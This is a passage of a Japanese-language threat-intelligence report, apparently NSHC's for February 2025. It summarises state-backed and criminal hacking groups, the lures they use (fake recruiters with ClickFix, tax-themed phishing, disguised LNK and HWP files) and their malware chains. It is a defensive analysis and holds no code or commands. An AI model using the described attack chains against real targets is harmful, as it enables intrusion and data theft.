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エグゼクティブサマリー 

 

このレポートは 2025 年 1 月 21 日から 2025 年 2 月 20 日までの NSHC の脅威分析研究所

（Threat Research Lab）が収集したデータと情報に基づいて分析したハッキンググループ

（Threat Actor Group）の活動をまとめたレポートである。 

今年の 2 月には、合計 62 件のハッキンググループの活動が確認され、 最も多い活動が確認された

SectorJ グループが 42%であり、続きは SectorA、SectorB グループの活動であった。 

 

 

[図 1: 2025 年 2 月に確認されたハッキンググループ別活動統計] 

 

今年 2 月に発見されたハッキンググループの活動は、政府機関や金融分野に努めている関係者または

システムをターゲットに最も多くの攻撃を行い、地域ごとでは北米とヨーロッパに位置する諸国をタ

ーゲットとしたハッキング活動が最も多いことが確認された。 

 

 

[図 2: 2025 年 2 月にターゲットとなった産業分野と国の統計] 

 

1) SectorAグループの活動特徴 

北朝鮮政府の支援によって活動を行っている SectorA グループの中で、今年の 2 月には合計 4

件のハッキンググループの活動が確認された。このグループは SectorA01、SectorA02、

SectorA05、SectorA07 グループである。 
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SectorA01 グループの活動は、ブラジル、アメリカ、ロシア、ポーランド、オランダ、フランス

から確認された。このグループは、LinkedIn、Telegram、Discord などのプラットフォームを

利用して採用担当者として偽装したうえ、ビデオインタビューとして偽装しながらターゲットに

特定のコマンドをコピーして実行するよう誘導し、最終的にバックドア機能を行うマルウェアを

使用した。 

SectorA02 グループの活動は韓国、日本から確認された。このグループは北朝鮮関連の内容が含

まれた悪性の HWP ファイル形式のファイルを使用し、最終的にバックドアマルウェアを使用し

て攻撃者のコマンドによｔｔえファイルを奪取し、pCloud、Yandex のようなクラウドサービス

を使用して攻撃者のクラウドサーバーに送信した。 

SectorA05 グループの活動は、オーストリア、アメリカ、韓国、メキシコ、インド、イタリアか

ら確認された。このグループは確定申告書をテーマにしてフィッシング攻撃を試み、国税庁、ポ

ータルサイト、認証メールなどを装ってユーザーにメールを送信した。メールに含まれたリンク

をクリックすると、ポータルサイトのログイン画面に偽装したフィッシングページにアクセスさ

れ、ユーザーがログイン情報を入力すると攻撃者に送信されるように設計されている。 

SectorA07 グループの活動は日本、韓国、ベトナムから確認された。このグループは、国税の徴

収に関する説明資料の要求書として偽装した Windows ショートカット（LNK）ファイル形式の

マルウェアを使用した。ターゲットがマルウェアを実行すると、最終的に Visual Basic Script

とバッチ（Batch）スクリプト形式のマルウェアが動作し、情報収集及び追加のマルウェアをダ

ウンロード及び実行する。 

現在まで続く SectorA ハッキンググループの活動は、韓国と関係ある政治、外交活動など政府活

動に関した機密情報を収集する目的があり、世界中をターゲットとした金銭の確保のためのハッ

キング活動を並行していることが分かった。このグループのハッキングの目的は長期間にわたっ

て持続しており、このような戦略的なハッキングの目的として今後も変化なく持続的にハッキン

グ活動を進むと考えられている。 

 

2) SectorBグループの活動特徴 

中国政府の支援によって活動を行っているSectorBグループの中で、今年2月には合計6件のハッ

キンググループの活動が確認された。このグループはSectorB01、SectorB22、SectorB71、Se

ctorB108、SectorB109、SectorB110グループである。 

SectorB01グループの活動は、台湾、サウジアラビア、イエメン、日本、韓国、スペイン、ベル

ギー、ロシア、イギリス、フィリピン、ギリシャ、ドイツ、エクアドル、パナマ、アメリカから

確認された。このグループは、製造業、教育、エネルギー、エンターテインメント業界をターゲ

ットに、ShadowPadとして知られているリモートコントロール機能のマルウェアとランサムウ

ェアを配布し、知的財産権の盗用を目的とした攻撃活動を行った。 
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SectorB22グループの活動は、タイ、シンガポール、アメリカ、中国、ベトナム、フィリピンか

ら確認された。このグループは、招待状として偽装したMSC（Microsoft Management Consol

e Snap-in Control）ファイルを配布して攻撃活動を行い、最終的にターゲットシステムにイン

ストールした悪性のバッチファイルを通じて追加でダウンロードしたリモート制御機能のマルウ

ェアを使用し、コマンド及びコントロール（Command and Control, C2）サーバーから受信し

たコマンドを実行して悪性行為を行った。 

SectorB71グループの活動は、韓国から確認された。このグループはLinuxベースのターゲット

システムをターゲットにSSHデーモンに注入するマルウェアを配布して攻撃活動を行い、最終的

にターゲットシステムでSSHデーモンによってロードされた悪性のSSLライブラリを通じて、コ

マンド及びコントロール（Command and Control, C2）サーバーから受信したコマンドを実行

し、悪性行為を行った。 

SectorB108グループの活動は、アルゼンチン、バングラデシュ、インドネシア、マレーシア、

メキシコ、オランダ、タイ、アメリカ、ベトナムから確認された。このグループは、世界中のキ

ャリア業者のパッチが適用されていないCiscoネットワーク機器をターゲットに攻撃活動を行っ

た。このグループは最終的にターゲットのネットワークでGRE（Generic Routing Encapsulatio

n）トンネルを構築し、ターゲットのCisco機器とグループのインフラとの通信時に機密情報を漏

洩させることを容易にし、ネットワーク監視を回避することができたと報告された。 

SectorB110グループの活動は、香港、タイ、アメリカ、ブラジル、韓国から確認された。この

グループは南米の諸国の外務省をターゲットにマルウェアを配布して攻撃活動を行い、最終的に

ターゲットシステムにインストールした悪性のファイルを通じて、コマンド＆コントロール（Co

mmand and Control, C2）サーバーから受信したコマンドを実行し、悪性行為を行った。 

現在まで続くSectorBハッキンググループのハッキング活動の目的は、世界中の諸国の政府機関

の政治、外交活動など政府活動に関した機密情報を収集することであると分析されている。 

 

3) SectorCグループ活動の特徴 

ロシア政府の支援によって活動を行っている SectorC グループの中で、今年 2 月には合計 6 件

のハッキンググループの活動が確認された。このグループは SectorC01、SectorC04、

SectorC05、SectorC26、SectorC28、SectorC29 グループである。 

SectorC01 グループの活動は、アラブ首長国連邦から確認された。このグループはフィッシング

メールを通じて悪性のファイルを配布し、脆弱性を悪用して内部システムに侵入する攻撃を行っ

た。攻撃者は WinRAR の脆弱性（CVE-2023-38831）が含まれた圧縮ファイルを通じてマルウ

ェアを実行し、そして PowerShell、Visual Basic Script (VBS)、バッチ (BAT) スクリプトを連

携して多段階ペイロードをロードし、バックドアをインストールした。 

SectorC04 グループは最近、デバイスコード認証（Device Code Authentication）方法を悪用

して、Microsoft 365 アカウントを奪取するフィッシング攻撃を実行した。このグループはアメ
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リカ国務省、欧州連合議会、ウクライナの国防省などの政府機関として偽装する方法でフィッシ

ングメールを送信し、MicrosoftTeams（Microsoft Teams）の会議の招待、チャットルーム参

加リクエスト、外部アプリケーション承認リクエストなど、業務の関連性の高いシナリオを活用

してユーザーの信頼を誘導した。 

SectorC05 グループの活動は、ウクライナ、スペイン、フランス、ポーランド、イギリス、アメ

リカ、カナダ、オーストラリアから確認された。このグループは、Windows Update として偽

装したリモートデスクトッププロトコル（Remote Desktop Protocol、RDP）マルウェアを配

布する攻撃を行った。このマルウェアは、ユーザーに一般的なシステムアップデートのように見

えるよう設計された実行ファイルとして偽装されており、実行時にシステムの RDP 設定を強制

的に変更して外部へのアクセスを許可した。 

SectorC26 グループは、Microsoft のデバイスコード認証手続きを悪用して、Microsoft365 ア

カウントを奪取する巧妙なフィッシングキャンペーンを実施し、MicrosoftTeams の招待や外部

アプリケーションの認証要求のように見せかけたメッセージを使用した。 

SectorC28 グループは、Signal メッセンジャーのグループ招待ページとして偽装してユーザー

を騙し、ターゲットのアカウントに攻撃者のデバイスをアクセスするフィッシング攻撃を実行し

た。普通のグループ招待リンクのように見えるページ内にデバイスアクセス URL を挿入し、ク

リックするだけでアカウントを奪取することなくメッセージを監視できる構造を悪用した巧妙な

攻撃を行った。 

SectorC29 グループは、Signal メッセンジャーのデバイスアクセス機能を悪用し、マルウェア

QR コードに基づいたフィッシング攻撃を実行した。ターゲットが QR コードをスキャンすると、

攻撃者のデバイスが Signal アカウントにアクセスされ、そしてメッセージをリアルタイムで奪

取することができる状態となった。 

現在まで続く SectorC ハッキンググループのハッキング活動は、ロシアと隣接する諸国を含む世

界中の食刻の政府機関の政治、外交活動など政府活動に関した機密情報を収集する目的であると

分析されている。 

 

4) SectorEグループ活動の特徴 

インド政府の支援によって活動を行っているSectorEグループの中で、今年2月には合計3件のハ

ッキンググループの活動が確認された。このグループはSectorE01、SectorE02、SectorE04グ

ループである。 

SectorE01グループの活動は、中国、台湾から確認された。このグループは、軍の特別選考案内

文書として偽装したWindowsショートカット（LNK）ファイルを配布して攻撃活動を行い、最

終的にターゲットシステムに追加のマルウェアを1分ごとにダウンロードして実行するためにタ

スクスケジューラに登録し、今後の攻撃のための足場を固めた。 
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SectorE02グループの活動はオランダ、バングラデシュから確認された。このグループはチャッ

トアプリケーションとして偽装したAndroidアプリを配布して攻撃活動を行い、最終的にターゲ

ットのデバイスで実行したAndroidアプリを通じてSMSメッセージ、連絡先、通話履歴などの機

密情報を奪取するマルウェア行為を実行した。 

SectorE04グループの活動は、スリランカ、アメリカ、中国、香港から確認された。このグルー

プは、スリランカ大統領の秘書室が発行した公式文書として偽装したMicrosoft Wordファイル

を配布して攻撃活動を行い、最終的にターゲットシステムで実行したWordファイルを通じてリ

モートテンプレート文書ファイルをダウンロードして実行させ、今後の攻撃の足場を固めた。 

現在まで続くSectorEハッキンググループのハッキング活動の目的は、インドと隣国であるパキ

スタン政府と関連する政治、外交、及び軍事活動など政府活動に関した機密情報を収集するため

の目的でハッキング活動を行うことであると分析される。しかし、最近では中国を含む極東アジ

アや他の地域に拡大していることにより、政治、外交、及び技術関係の機密情報を獲得するため

の活動の割合もさらに増加していると分析されている。 

 

5) SectorHグループ活動の特徴 

パキスタン政府の支援によって活動を行っている SectorH グループの中で、今年 2 月には合計

2 件のハッキンググループの活動が確認された。このグループは SectorH01 と SectorH03 グル

ープである。 

SectorH01グループの活動は、イギリス、アメリカ、スイス、オーストラリアから確認された。

このグループは、税務関係のソフトウェアソリューション組織として偽装したフィッシングメー

ルを通じてマルウェアを配布する攻撃活動を行い、最終的にターゲットシステムにインストール

したリモート制御機能のマルウェアを通じて、コマンド＆コントロール（C2）サーバーから受信

したコマンドを実行し、悪性行為を行った。 

SectorH03グループの活動は、インド、アフガニスタンから確認された。このグループはサイバ

ーセキュリティガイドラインファイルとして偽装したWindowsショートカット（LNK）ファイ

ルを配布して攻撃活動を行い、最終的にターゲットシステムにインストールした悪性のDLLファ

イルを通じて追加のマルウェアをダウンロード及び実行させ、今後の攻撃のための足場を固めた。 

SectorHハッキンググループのハッキング活動は、サイバー犯罪目的のハッキングと政府支援目

的のハッキング活動を並行して行っている。特に、隣国であるインドとの様々な外交的な摩擦が

続いているため、目的に応じてインド政府機関の軍事及び政治関連の機密情報を奪取するための

活動を今後も継続的に行う予定であると分析されている。 

 

6) SectorQ グループ活動の特徴 

アメリカ政府の支援によって活動を行っている SectorQ グループの中で、今年の 2 月には 1 つ

のハッキンググループの活動が確認された。このグループは SectorQ02 グループである。 
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SectorQ02 グループは、中国の大学を含む航空宇宙及び科学技術関連の機関をターゲットにし

て高度のサイバー作戦を実行し、ターゲットシステムに NOPEN バックドアのようなカスタムマ

ルウェアを挿入して長期的なリモートコントロールを可能にした。 

現在まで続く SectorQ ハッキンググループのハッキング活動は、世界中をターゲットに各国政

府機関の政治、外交活動など政府活動に関連する機密情報を収集することを目的としてハッキン

グ活動を行っていると分析されている。このような機密情報の収集は、自国の政治的、経済的利

益を最大化することを目的としていると判断されている。 

 

7) SectorRグループ活動の特徴 

台湾政府の支援によって活動を行っている SectorR グループの中で、今年 2 月には合計 1 件の

ハッキンググループの活動が確認された。このグループは SectorR02 グループである。 

SectorR02 グループの活動は、中国から確認された。このグループは、中国の IT 企業である

NetEase の無料メールサービス 163.com のユーザーをターゲットとしてフィッシングキャンペ

ーンを展開した。このグループは被害者のメールアカウントにアクセスし、機密情報を収集する

ために、ユーザーにログイン資格情報を入力させ、ログインの資格情報を奪取した。 

現在まで続く SectorR ハッキンググループのハッキング活動の目的は、台湾と隣接している政治

的な競争国である中国政府に関連する政治、外交、軍事活動など、政府活動に関する機密情報を

収集することを目的としてハッキング活動を行っていると分析されている。 

 

8) SectorSグループ活動の特徴 

ベネズエラ政府の支援によって活動を行っている SectorS グループの中で、今年 2 月には合計 1

件のハッキンググループの活動が確認された。このグループは SectorS01 グループである。 

SectorS01グループの活動は、イタリアから確認された。このグループはサミット関連の文書と

して偽装したWindowsショートカット（LNK）ファイルを配布して攻撃活動を行い、最終的に

ターゲットシステムのメモリ上で実行したリモート制御機能のマルウェアを通じて、コマンド＆

コントロール（Command and Control, C2）サーバーからコマンドを受信して悪性行為を行っ

た。 

現在まで続くSectorSハッキンググループのハッキング活動の目的は、ベネズエラと隣接してい

る南米地域の諸国において、政治、外交、軍事活動など政府活動に関連する機密情報を収集する

ためにハッキング活動を行っていると分析されている。 

 

9) SectorU グループ活動の特徴 

カザフスタン政府の支援によって活動を行っている SectorU グループの中で、今年 2 月には合

計 1 件のハッキンググループの活動が確認された。このグループは SectorU01 グループである。 
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SectorU01 グループの活動は、ロシア、スペイン、ウズベキスタン、インド、アメリカ、香港、

チェコ、キルギス、トルクメニスタンから確認された。このグループは中央アジアの政府機関を

ターゲットに、悪性の ISO ファイルを含むフィッシングメールを送信して初期アクセスを試み、

最終的にターゲットシステムで実行したマルウェアを通じて機密情報を収集し、システムレジス

トリを修正して持続性を確保することで、中央アジア地域に深刻なサイバースパイの脅威を与え

ることができた。 

現在まで続く SectorU ハッキンググループのハッキング活動は、カザフスタンと隣接している

諸国を含む全世界をターゲットに、各国の政府機関の政治、外交活動など政府活動に関連する機

密情報を収集することを目的として活動を行っていると分析されている。 

 

10) サイバー犯罪グループの活動特徴 

オンライン仮想空間で活動を行っているサイバー犯罪グループの中で、今年 2 月には合計 13 件

のハッキンググループの活動が確認された。このグループは、SectorJ09、SectorJ14、

SectorJ21、SectorJ25、SectorJ85、SectorJ102、SectorJ110、SectorJ177、SectorJ195、

SectorJ196、SectorJ197、SectorJ201、SectorJ202 グループである。 

このグループは、他国の政府の支援によって活動を行っているハッキンググループとは異なり、

現実世界で金銭的な利益を確保できるような価値があるオンライン情報を奪取し、自ら特定の企

業や組織をハッキングして内部ネットワークにランサムウェアを配布したり、重要な機密情報を

奪取してそれを口実に金銭を要求する脅迫行為などを行った。 

SectorJ09 グループは、オンライン決済ページをターゲットにスキミングスクリプトを挿入して

金融情報を奪取するフォームジャッキング攻撃を実行した。このグループは、電子取引のウェブ

サイトの決済ページに難読化されたマルウェアの JavaScript コードを注入し、ターゲットが入

力したカード番号、有効期限、CVC コードなどの金融関係の機密情報を奪取したと分析されてい

る。 

SectorJ14 グループの活動は、韓国、ドイツ、アメリカ、インド、日本、フランスから確認され

た。このグループは、宅配サービスの通知として偽装したスミッシング（Smishing）技法を使

用し、Twitter の短縮 URL をターゲットに送信した。ターゲットが短縮 URL にアクセスすると、

悪性の URL にリダイレクトされ、Chrome ブラウザアプリとして偽装した Android のマルウェ

アをダウンロードするよう誘導された。ダウンロードされたマルウェアは、ターゲットにメッセ

ージ及び通知表示の権限を許可するよう促し、スパム防止を口実にそのマルウェアをデフォルト

の SMS アプリとして設定するようにした。初期権限の設定が完了すると、ターゲットのデバイ

スにはフィッシングメッセージを表示するための通知チャンネルが生成され、このグループがフ

ィッシングメッセージを送信する際にその通知チャンネルを通じてメッセージを表示し、ターゲ

ットがフィッシングメッセージをクリックするよう誘導した。また、このグループはソーシャル
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メディアプラットフォームの一つである Pinterest のプロフィールに登録されたデータを活用し

てフィッシングメッセージを構成し、送信したと分析されている。 

SectorJ21 グループの活動はアメリカ、カナダから確認された。このグループはフィッシングメ

ールを通じて ZIP 圧縮ファイルをダウンロードできるリンクが含まれた PDF ファイルを添付し

て送信した。ZIP 圧縮ファイルの内部には IMG ファイルが含まれており、ターゲットがそのフ

ァイルを実行すると外部ドライブとしてマウントされ、ファイルエクスプローラーを通じて自動

的に開かれる。マウントされたドライブで Adobe のアイコンとして偽装した SCR ファイルを実

行すると、DLL サイドローディング(DLL Side-Loading)技法を悪用して悪性の DLL ファイルが

ロードされます。ロードされたマルウェアはシステム情報を収集した後、それを暗号化してクラ

ウドストレージサービスの一つである Tab Digital にアップロードする機能を実行した。 

SectorJ25 グループの活動は、インドから確認された。このグループはネットワーク分析プログ

ラムとして偽装するために、圧縮ファイル名を「NetworkAnalyzer.tar.gz」に設定して配布し

たと見られている。この圧縮ファイルの内部には ELF 形式のマルウェアが含まれており、このマ

ルウェアは GitHub を通じてソースコードが公開されている CHAOS リモートコントロールマル

ウェアであると分析されている。またこのマルウェアはリモートでコマンドを実行し、ターゲッ

トシステムのデータを窃取する機能を行ったと分析されている。 

SectorJ85 グループは、企業向けクラウドベースの認証サービス（Identity-as-a-Service、

IDaaS）の一つである Okta ベースのログインページとして偽装したフィッシングサイトを配布

した。普通の Okta ログインページのドメインとスペルや構造が類似なドメインを登録するタイ

ポスクワッティング（Typosquatting）技法を利用し、ターゲットが普通のログインページと誤

認して資格情報を入力するように誘導した。 

SectorJ102 グループの活動は、アメリカ、インドから確認された。このグループは Vera Core

ソフトウェアの SQL インジェクション脆弱性とファイルアップロード脆弱性を悪用して、ター

ゲットシステムにウェブシェル(Web Shell)を配布した。このウェブシェルは SQL コマンドの実

行及び DB サーバー内部の探索機能を実行できると分析されている。 

SectorJ110 グループの活動は、ドイツ、リトアニア、ベルギー、ウクライナから確認された。

このグループは PDF 形式のフィッシングファイルを配布し、ターゲットがファイル内の「文書

ダウンロード（Завантажити Документ）」ハイパーリンクテキストをクリックするよう誘導

した。ターゲットがハイパーリンクテキストをクリックすると、ターゲットのシステムに圧縮フ

ァイルがダウンロードされます。圧縮ファイル内には、PDF ファイルのように見せかけるために

二重拡張子（.pdf.js）形式を使用した JavaScript（JS）形式のマルウェアが含まれており、タ

ーゲットがこのファイルを実行すると、外部のコマンド＆コントロール（Command and 

Control, C2）サーバーからローダー機能を実行するマルウェアをダウンロード及び実行した。

同時に、ターゲットが疑わないように普通の内容のおとりファイルも一緒にダウンロードされ、

ターゲットのシステム画面に表示された。 
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SectorJ177 グループの活動は、メキシコ、アメリカ、ハンガリーから確認された。このグルー

プは Microsoft Teams を通じてターゲットに技術サポートチームのように偽装してメッセージ

を送信し、そして、スパム問題を解決するために Microsoft Quick Assist をインストールするよ

う誘導した。ターゲットが Quick Assist をインストールし、ハッキンググループにリモート制

御権限を与えると、このグループはウェブブラウザを通じて ZIP 圧縮ファイル形式のマルウェア

ペイロードをダウンロードした。圧縮ファイルの内部には、Microsoft で署名された OneDrive

アップデート実行ファイルと複数の DLL ファイルが含まれている。また、このグループは DLL 

Search Order Hijacking 技法を活用して DLL 形式のマルウェアを実行した。この DLL 形式のマ

ルウェアは、実行時にシステム及びオペレーティングシステム情報、ユーザーアカウント及び資

格情報などを収集し、コマンド＆コントロール（Command and Control, C2）サーバーに送信

する機能を果たすと分析されている。 

SectorJ195 グループの活動は、アメリカとブルガリアから確認された。このグループは、ター

ゲットに大量のスパムメッセージを送信した後、Microsoft Teams を通じて通話を試み、ターゲ

ットがリモート画面の共有を許可するように誘導した。共有が許可されると、コマンドシェルを

通じて悪性 JAR（Java Archive）ファイルを実行した。このファイルは、Java ベースのプロキ

シモジュールを通じて WMI コマンドラインユーティリティ（Windows Management 

Instrumentation Command-line, WMIC.exe）を呼び出し、Java プロセスの PID を識別する

作業を行ったと分析されている。そして、PowerShell の実行ポリシー（ExecutionPolicy）を回

避して外部から ZIP 圧縮ファイルと 7-Zip ユーティリティをダウンロードし、解凍した。圧縮フ

ァイルには ProtonVPN の実行ファイルと悪性の DLL が含まれており、ProtonVPN をターゲッ

トに DLL サイドローディング技法を悪用して悪性の DLL をロードした。これにより、ロシア、

オランダ、アメリカにホスティングされた仮想プライベートサーバー（VPN）にアクセスするセ

ッションが生成された。また、JAR ファイルは新しい CMD（Command Prompt）セッション

を開き、javaw.exe（Java SE Launcher）を利用して別の JAR ファイルを実行し、圧縮ファイ

ルをドロップした。このファイルには難読化された Python スクリプトが含まれており、RPivot

として知られているリバースプロキシ（Reverse Proxy）ツールであると分析されている。この

グループはこれを通じて内部ネットワークに対するトンネリング及びプロキシ機能を活用し、コ

マンド＆コントロール（Command and Control, C2）サーバーとの持続的なアクセスを試みで

あると見られている。 

SectorJ196 グループは、Web3 ユーザーをターゲットにして、ソラナ（Solana）ブロックチェ

ーンコミュニケーションツール配布サイトに偽装したフィッシングサイトを配布した。このグル

ープはこのフィッシングサイトを通じて、情報奪取型のマルウェアであるインフォスティーラー

（InfoStealer）を配布したと分析されている。特に、このフィッシングサイトはターゲットの

オペレーティングシステム（OS）環境に応じて異なる URL を通じてマルウェアをダウンロード

するよう誘導しており、Windows 環境ではドロップボックス（Dropbox）を使用し、MacOS

環境では別の外部サーバーを通じてマルウェアをダウンロードしたことが示されている。 
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SectorJ197 グループの活動は、グアテマラ、アメリカから確認された。このグループは

Chrome ブラウザの更新サイトとして偽装したフィッシングサイトを配布した。ターゲットが

「アップデート Chrome(Update Chrome)」ボタンをクリックすると、「Release.zip」圧縮フ

ァイルがダウンロードされ、その圧縮ファイルの内部には DLL 形式のマルウェアが圧縮されて

いることが確認されている。このマルウェアはターゲットシステムのデータを奪取する機能を行

うスティーラー(Stealer)マルウェアであると分析されている。 

SectorJ201 グループは、トラフィックの配信システム（Traffic Distribution System, TDS）

サービスを運営し、他のハッキンググループに悪性のトラフィック流入サービスを提供した後、

金銭的利益を得たと分析されている。この TDS インフラは、訪問者のシステム環境に応じて条

件付きでトラフィックをフィルタリング及びリダイレクトする機能を実行し、適切なターゲット

にマルウェアを含むペイロードを配信する役割を果たしたと判断されている。 

SectorJ202 グループの活動は、アメリカ、インド、フランス、ポーランドから確認された。こ

のグループは、Chrome ブラウザのアップデートを装ったフィッシングページを配布し、ターゲ

ットが悪性の MSI（Microsoft Installer）ファイルをダウンロードするよう誘導した。この MSI

ファイルは、普通のプログラムとともに悪性の DLL が含まれる形で構成されており、DLL サイ

ドローディング（Side-Loading）技術を通じて悪性の DLL がロードされる。ターゲットシステ

ムで最終的にスティーラー（Stealer）マルウェアが実行されると、このグループはターゲット

システムのデータを奪取しようとしたと分析されている。 
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詳細情報 

 

1. SectorAの支援によって活動を行っているハッキンググループの活動 

 

1) SectorA01グループ 

 

北朝鮮政府の支援によって活動を行っているハッキンググループの中で、SectorA01 グループは、

いわゆるラザルス（Lazarus）としても知られており、アメリカ、オーストリア、ポルトガル、イン

ドネシア、シンガポール、ベトナム、インド、フィリピン、パキスタン、ロシア、中国、バングラデ

シュ、イタリア、スペイン、エストニア、ジョージア、トルコ、ギリシャ、フィンランド、スイス、

ドイツ、ポーランド、フランス、香港、ブラジルからハッキング活動が確認された。 

このグループは、LinkedIn、Telegram、Discord などのプラットフォームを活用して採用担当者と

して偽装し、ターゲットに就職の提案を提供することで信頼を構築した。そして、ビデオ面接として

偽装してターゲットが特定のコマンドをコピーして実行するよう誘導する ClickFix 技法を使用した。

ターゲットがそのコマンドを実行すると、バックドア機能を果たすマルウェアがシステムにインスト

ールされ、それを通じて攻撃者は感染したシステムから機密情報を収集し、追加の悪性行為を行った。 

 

 

[図 3: ClickFix 技法に使用された CAPTCHA として偽装したウェブページ] 
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[図 4: CAPTCHA ボタンに挿入されたマルウェアスクリプト] 

 

クリックフィックス（ClickFix）は、ユーザーに特定の作業を行わせるよう誘導するソーシャルエン

ジニアリング技法の一つで、信頼を構築して行う操作方法が活用される。攻撃者は精巧なインターフ

ェースと視覚的フィードバックを提供し、ターゲットが特定のボタンをクリックしたり、コマンドを

コピーして実行したりするように誘導する。今年の攻撃では、ターゲットが技術テストやシステム設

定の調整のための普通のプロセスであると信頼関係を構築し、ターミナルやコマンドプロンプトで悪

性のコマンドを実行させる方法が使用された。このプロセスで、ターゲットは単純なサポート手続き

であると誤解し、自らマルウェアを実行してしまう。 

 

Related Events 

⚫ SectorA01 used Script Malware variants  

https://cti.nshc.net/events/view/12150 

 

⚫ SectorA01 used Python Malware variants 

https://cti.nshc.net/events/view/12151 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12297 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12409 

 

⚫ SectorA01 used VPN Proxies to Evade Detection and Conceal Data 

Exfiltration 

https://cti.nshc.net/events/view/12427 

https://cti.nshc.net/events/view/12150
https://cti.nshc.net/events/view/12151
https://cti.nshc.net/events/view/12297
https://cti.nshc.net/events/view/12409
https://cti.nshc.net/events/view/12427
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⚫ SectorA01 used BeaverTail Malware disguised as postcss library  

https://cti.nshc.net/events/view/12388 

 

⚫ SectorA01 used Golang Malware disguised as webcam software  

https://cti.nshc.net/events/view/12428 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12486 

 

⚫ SectorA01 used macOS Malware disguised as Chrome Update  

https://cti.nshc.net/events/view/12497 

 

⚫ SectorA01 used LinkedIn Job Offers to Deploy Info-Stealer Malware  

https://cti.nshc.net/events/view/12594 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12553 

 

⚫ SectorA01 used LinkedIn Phishing to Target Web3 Firms with Malware  

https://cti.nshc.net/events/view/12896 

 

⚫ SectorA01 used Python Malware disguised via ClickFix tactic  

https://cti.nshc.net/events/view/12552 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12626 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12604 

 

⚫ SectorA01 used a new Domains  

https://cti.nshc.net/events/view/12683 

 

⚫ SectorA01 used Malware disguised as Captcha Site for Fileless Attack  

https://cti.nshc.net/events/view/12732 

https://cti.nshc.net/events/view/12388
https://cti.nshc.net/events/view/12428
https://cti.nshc.net/events/view/12486
https://cti.nshc.net/events/view/12497
https://cti.nshc.net/events/view/12594
https://cti.nshc.net/events/view/12553
https://cti.nshc.net/events/view/12896
https://cti.nshc.net/events/view/12552
https://cti.nshc.net/events/view/12626
https://cti.nshc.net/events/view/12604
https://cti.nshc.net/events/view/12683
https://cti.nshc.net/events/view/12732
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⚫ SectorA01 used Trojanized Projects Disguised as Job Interviews  

https://cti.nshc.net/events/view/12833 

 

2) SectorA02グループ 

 

北朝鮮政府の支援によって活動を行っているハッキンググループの中で、SectorA02 グループは、

いわゆるスカークラフト（ScarCruft）としても知られており、韓国、日本からハッキング活動が確

認された。 

このグループは、カカオトーク(KakaoTalk)メッセンジャーのグループチャットを利用して、マルウ

ェアが含まれたHWPファイル形式のファイルを配布するスピアフィッシング攻撃を行った。このフ

ァイルには北朝鮮関連の内容が含まれており、画面に表示されないように非常に小さく設定されたマ

ルウェアのOLE（Object Linking and Embedding）オブジェクトが挿入されている。 

 

 

[図 5: 北朝鮮関連の内容が含まれた講義資料として偽装した HWP ファイル] 

 

ユーザーがドキュメントファイルを開き、OLEオブジェクトを有効化すると、一時パスにバッチファ

イルとデータファイルが生成される。まず、バッチファイル形式のマルウェアが実行され、PowerS

hell形式の追加のマルウェアを実行する。PowerShell形式のマルウェアは、コンピュータのハードデ

ィスク（HDD）に直接ファイルを生成せず、メモリ内でのみ実行する技法であるファイルレス方式

を使用して、追加のマルウェアを自ら実行した。 

 

https://cti.nshc.net/events/view/12833
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[図 6: マルウェアファイルを生成する役割を果たす PowerShell コマンド] 

 

最終的にメモリで動作するマルウェアは、いわゆる ROKRAT として知られるマルウェアであり、攻

撃者のコマンドによってファイルを奪取し、pCloud や Yandex のようなクラウドサービスを使用し

て奪取したファイルを攻撃者のクラウドサーバーに送信した。 

 

 

[図 7: 過去の活動と相関関係がある SectorA02 グループの活動] 

 

Related Events 

⚫ SectorA02 used HWP malware that exploits OLE objects 

https://cti.nshc.net/events/view/12345 

 

3) SectorA05グループ 

 

https://cti.nshc.net/events/view/11214
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北朝鮮政府の支援によって活動を行っているハッキンググループの中で、SectorA05 グループは、

いわゆるキムスキ（Kimsuki）としても知られており、オーストリア、アメリカ、韓国、メキシコ、

インド、イタリアからハッキング活動が確認された。 

このグループは確定申告書をテーマにフィッシング攻撃を試み、国税庁、ポータルサイト、認証メー

ルなどを偽装してユーザーにメールを送信した。メールに含まれたリンクをクリックすると、ポータ

ルサイトのログイン画面に偽装したフィッシングページにアクセスされ、ユーザーがログイン情報を

入力すると攻撃者に送信されるように設計されている。特にこの攻撃は単なるイベント性の試みでは

なく、少なくとも 10 個の攻撃用 IP と 119 個のマルウェアドメインに基づいたインフラが使用され

た組織的な攻撃であると分析された。 

 

 

[図 8: ポータルサイトのログイン画面として偽装したフィッシングページ] 

 

攻撃に使用されたドメインは、「niduser」、「nts」、「check-info」、「auth-check」などの認

証関連キーワードベースで構成されており、「 kow.1월신고납부변동통지서.웹.한국’ 」のような

Punycode ベースの韓国語ドメインも多数含まれていることから、韓国語の使用者を主要なターゲッ

トにしていることが確認される。 

 

Related Events 

⚫ SectorA05 used Deceptive Embassy Invites for Phishing  

https://cti.nshc.net/events/view/12131 

 

⚫ SectorA05 used a new Domains  

https://cti.nshc.net/events/view/12244 

 

⚫ SectorA05 used Script Malware variant  

https://cti.nshc.net/events/view/12240 

https://cti.nshc.net/events/view/12131
https://cti.nshc.net/events/view/12244
https://cti.nshc.net/events/view/12240
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⚫ SectorA05 used Phishing Domains to steal Credentials  

https://cti.nshc.net/events/view/12500 

 

⚫ SectorA05 used Phishing webpage disguised as Naver login webpage  

https://cti.nshc.net/events/view/12429 

 

⚫ SectorA05 used Phishing webpage disguised as Naver login webpage  

https://cti.nshc.net/events/view/12347 

 

⚫ SectorA05 used a Phishing Page disguised as a portal site  

https://cti.nshc.net/events/view/12346 

 

⚫ SectorA05 used malicious shortcuts for remote access  

https://cti.nshc.net/events/view/12466 

 

⚫ SectorA05 used LNK with mshta.exe to execute PowerShell payload  

https://cti.nshc.net/events/view/12827 

 

⚫ SectorA05 used new Domains  

https://cti.nshc.net/events/view/12733 

 

⚫ SectorA05 used a new Domains  

https://cti.nshc.net/events/view/12684 

 

⚫ SectorA05 used LNK files disguised as Legitimate Documents  

https://cti.nshc.net/events/view/12729 

 

4) SectorA07グループ 

 

北朝鮮政府の支援によって活動を行っているハッキンググループの中で、SectorA07 グループは、

